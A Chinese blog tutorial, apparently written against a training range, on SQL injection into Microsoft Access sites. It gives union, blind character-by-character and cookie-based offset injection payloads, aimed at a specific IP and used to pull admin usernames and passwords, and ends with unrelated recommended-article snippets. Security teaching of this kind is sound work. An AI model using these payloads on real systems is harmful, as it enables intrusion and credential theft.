access数据库—— 偏移注入&移位溢注&逐字猜解

2023-11-08

目录

前言

正文 

0x01 :access数据库介绍

 

0x02 :Access——union注入

1)猜表

2)猜字段(查数据)

0x02 Access——逐字猜解注入

1)猜表

2)猜字段

 

3)判断长度

4)查询数据

0x03:Access —— 偏移注入

第一步

​第二步

​第三步

文末


 

前言

我前面写的大部分都是基于MySQL数据库下的注入,然而在其他数据库也是可以使用的

本章章取材来自 墨者学院靶场

 

正文 

0x01 :access数据库介绍

这只是个简单的介绍,access里不存在库这个概念,所以是直接查表,然而表没有自带的,所以只能进行爆破

就是猜,全靠猜~~~

 

0x02 :Access——union注入

1)猜表

因为Access没有库,所以只能直接使用order by 来判断字段数

这里我判断后,字段为4。于是直接写了 payload

http://219.153.49.228:49151/new_list.asp?id=1 and 1=2 union select 1,2,3,4 from admin

可能会问admin怎么知道的,其实就是猜的,也可以收集一些常用的表名,然后burp抓包进行爆破

一般user,admin 等等比较多

2)猜字段(查数据)

根据上面已经猜解出了admin表,然而这也是我们想要的

然后就是猜解字段,没错,字段也是要猜的~~~

字段常用的,user,admin,username,password,pwd,name,passwd

猜一猜,敲了猜到了是username,靶场总不会太难的。在实战中,就不一样了

?id=1 and 1=2 union select 1,username,3,4 from admin

但是这边我们有 2 个回显点,2和3.所以可以再3这边猜密码

经过一系列的猜解

?id=1 and 1=2 union select 1,username,passwd,4 from admin

最后密码为passwd

然后union注入就这样了。靶场简单,但是实战中就不一样了,能猜到表名就运气好了,能猜到字段名,运气就炸天了

 

0x02 Access——逐字猜解注入

1)猜表

这里涉及到了个新函数

exists():校验是否存在数据,存在则页面正常,不存在则页面报错

可以看看这里的一篇文章

这时候 我们构造payload

?id=1 and exists(select * from admin)

如果admin这个表存在的话,则返回正常页面

如果不存在的话,返回错误页面。通过查看下面两图就知道了

admin表存在

 

2)猜字段

猜字段名的话也就是按照SQL语句一样

select 字段 from 表

所以我们猜测字段为username(不要问我为什么,上面union注入已经弄了一遍了~)

?id=1 and exists(select username from admin)

这时候发现页面正常,这时候我们就要爆数据了

 

3)判断长度

这个其实跟盲注差不多手法(这里我突然想写个脚本了~)

首先判断第一条数据长度

?id=1 and (select top 1 len(username) from admin)=4	

这时候页面回显正常,当等于5的时候错误,说明为长度为4

 

4)查询数据

这时候就可以查询数据了

and (select top 1 asc(mid(username,1,1)) from admin)=109

top 1 就是取前 1 条数据

top   3就是取前3 条数据

mid(字段,截取第几位,1)

然后对照下ascii表,发现为m

然后猜解第二位,发现页面正常,队友ascii表。发现为o

?id=1 and (select top 1 asc(mid(username,2,1)) from admin)=111

于是这样依次下来,就得知 username中的字段为 moke,然后继续爆破

也就得出了密码

 

0x03:Access —— 偏移注入

接下来就开始进行偏移注入了

第一步


先判断下最简单的显错注入,结果被过滤了
那就进行偏移注入(表名爆破下就好了,这个是靶场,所以知道表名)
document.cookie=”id=”+escape(“171”)
看看页面是不是正常,结果显示正常


在and 1=2判断下是否报错


第二步


开始判断下回显点
document.cookie=”id=”+escape(“171 order by 10”)
结果发现10正常显示,11报错


第三步


因为这个是access数据库,所以忽略表名~~~~
document.cookie=”id=”+escape(“171 union select 1,2,3,4,5,6,7,8,9,10 from admin”)


直接看回显点,这里表名是必须知道了,不知道的话可以下载个常用表名字典
然后用burp跑包爆破
然后可以看到了回显点有2,3,7,8,9

结果发现这个171的不行……(尴尬)
略过前面,找那个产品中心的,id=105进行

然后发现105的有26个字段


再次进行偏移注入
document.cookie="id="+escape("105 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 from admin")


再从右开始,删除掉占位符,admin.来代替
`document.cookie=”id=”+escape(“105 union select 1,2,3,4,5,6,7,8,9,10,admin.
 from admin”)`
发现页面回显正确


然后就一直移动
找到这个回显就可以保留,然后再admin.带入
document.cookie=”id=”+escape(“105 union select 1,2,3,4,8,9,11,12,13,admin.
,15 from admin”)
不会讲,就差不多这样


(联合查询要2边相等)

table_name.代替了这个表的所有字段 (如 admin. 表名.*)
输出点,有些藏在HTML源码中
偏移注入用于字段表名无法字段字段名情况
偏移找到一个注入点,并且注入点字段数越多越好

 

 

文末

偏移注入是之前写的,因为偏移注入太麻烦了,就直接复制了一下

实战中也是会遇到这种的偏移注入,我也是偶尔会遇到~~~~~

有空再发脚本,嘿嘿

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

access数据库—— 偏移注入&移位溢注&逐字猜解 的相关文章

随机推荐

  • CentOS 安装nginx最简单办法

    我看了很多都挺复杂 然后查了下管网就有安装步骤 参考这个链接 http nginx org en linux packages html RHEL CentOS 第一步 sudo yum install yum utils 如果yum命令遇
  • 【Python人工智能】Python全栈体系(十六)

    人工智能 第四章 分类模型 一 分类业务模型 分类预测模型与回归不同 回归模型是根据已知的输入和输出寻找一个性能最佳的模型 从而通过未知输出的样本得到连续的输出 而分类模型则是需要得到离散的输出 即根据已知样本的所属类别预测未知输出的样本所
  • 解决RedisTemplate 使用 setIfAbsent 做分布式锁出现返回值为 null 的问题

    我们现在较少使用RedisTemplate 提供的setIfAbsent 做分布式锁 解决并发场景问题 一般使用成熟的三方工具Redisssion来解决分布式锁问题 但是有时候还是需要手动通过RedisTemplate 提供的setIfAb
  • 线圈自感的计算公式

    线圈自感等于总的磁通量除以电流 磁路的磁阻R为 l是磁通的总长度 mu 电路材料的相对磁导率 0 mu 0 0 自由空间的磁导率 4
  • Qt中三个窗口基类(QMainWindow , QWidget , QDialoh)的区别

    在平常qt开发中 通常要写自己的窗口类 那么这个窗口类该继承自哪个类呢 下面就来看下三个窗口基类的区别 1 QMainWindow QMainWindow类提供一个带有菜单条 工具条和一个状态条的主应用程序窗口 主窗口通常提供一个大的中央窗
  • 聚类与分类的定义

    1 聚类的概念 有一堆数据 讲这堆数据分成几类称为聚类 举个例子 比如有一堆水果 我们按着不同的特征分为 苹果 橘子 香蕉三类叫做分类 2 分类的概念 在聚类的前提下 拿来一个新水果 我们按着他的特征 把他分到橘子或者香蕉那类中 叫做分类
  • Spring Data JPA 定义实体类关系:一对一

    JPA使用 OneToOne来标注一对一的关系 实体 Dept 部门 实体 User 用户 Dept和 User 是一对一的关系 这里使用关联字段描述JPA的一对一关系 通过关联字段的方式 一个实体通过关联字段关联到另一个实体的主键 通过关
  • SAP事务码MM17物料主数据批量维护

    这个事务码真的很有意思 因为可以看到物料主数据不同层次的内容 为什么这么说呢 进入MM17
  • mysql 修改数据库字段长度限制_修改数据库字段长度问题,非常紧急!大家来帮忙...

    你的位置 问答吧 gt JAVA gt 问题详情 修改数据库字段长度问题 非常紧急 大家来帮忙 我有一个表里有个主键id char 3 第一个问题 能不能把char 3 改为varchar2 10 alter table sys compa
  • Hadoop安装过程与问题解决

    Hadoop安装过程与问题解决 安装环境 CentOS JDK1 8 如何查看系统版本号 如下图 cat etc redhat release 下载Hadoop 包 可以通过在windows下下载 然后通过linux的客户端工具进行上传 这
  • AI测试中的数据收集

    人工智能 通俗来说就是让机器最大程度的接近于人 如人与人之间沟通 识别图像 奔跑 越障等 例如之前被刷屏的波士顿动力机器人 猎豹移动在世界机器人大会展出的研磨咖啡机器人 图像识别是目前人工智能应用的一大类型 不断地收集 调整 完善测试数据来
  • 【深度长文】人脸识别:人脑认知与计算机算法(五部曲)

    来源 本文经作者 Owl of Minerva 授权转载 链接 https zhuanlan zhihu com HicRhodushicsalta 1 初期预测和介绍 现阶段 人脸识别是人工智能领域最炙手可热的话题之一 Google和Fa
  • 用Python画圣诞树

    拿去给自己所思所念之人 import turtle as t as就是取个别名 后续调用的t都是turtle from turtle import import random as r import time n 100 0 speed f
  • uniapp微信小程序使用axios(vue3+axios+ts版)

    版本号 vue 3 2 45 axios 1 4 0 axios miniprogram adapter 0 3 5 安装axios及axios适配器 适配小程序 yarn add axios axios miniprogram adapt
  • CentOS安装docker

    Docker这两年大受追捧 风光无二 Docker是一个轻量级容器技术 类似于虚拟机技术 xen kvm VMware virtualbox Docker是直接运行在当前操作系统 Linux 之上 而不是运行在虚拟机中 但是也实现了虚拟机技
  • vmware workstation pro 14 虚拟机无法开启、黑屏的解决方案汇总

    方案1 卸载鲁大师 重启 方案2 管理员命令行 输入netsh winsock reset 重启 方案3 360安全管家修复LSP 重启 方案4 卸载14 0 安装12 0 手动导入虚拟机 转载于 https www cnblogs com
  • 【待解决】【OpenCV图像处理】1.27 模板匹配(Template Match)

    1 相关理论 直观介绍 介绍 模板匹配就是在整个图像区域发现与给定子图像匹配的小块区域 所以模板匹配首先需要一个模板图像T 给定的子图像 另外需要一个待检测的图像 源图像S 工作方法 在带检测图像上 从左到右 从上向下计算模板图像与重叠子图
  • 解决ModuleNotFoundError: No module named ‘pip‘

    pip install U pip 把pip搞没了 报错 环境路径 Scripts pip script py is not present 这个错误可以通过两行简单的cmd命令行语句进行改正修复 python m ensurepip py
  • GAN(生成对抗网络)Matlab代码详解

    这篇博客主要是对GAN网络的代码进行一个详细的讲解 首先是预定义 clear clc clc是清除当前command区域的命令 表示清空 看着舒服些 而clear用于清空环境变量 两者是不同的 装载数据集 train x load Norm
  • access数据库—— 偏移注入&移位溢注&逐字猜解

    目录 前言 正文 0x01 access数据库介绍 0x02 Access union注入 1 猜表 2 猜字段 查数据 0x02 Access 逐字猜解注入 1 猜表 2 猜字段 3 判断长度 4 查询数据 0x03 Access 偏移注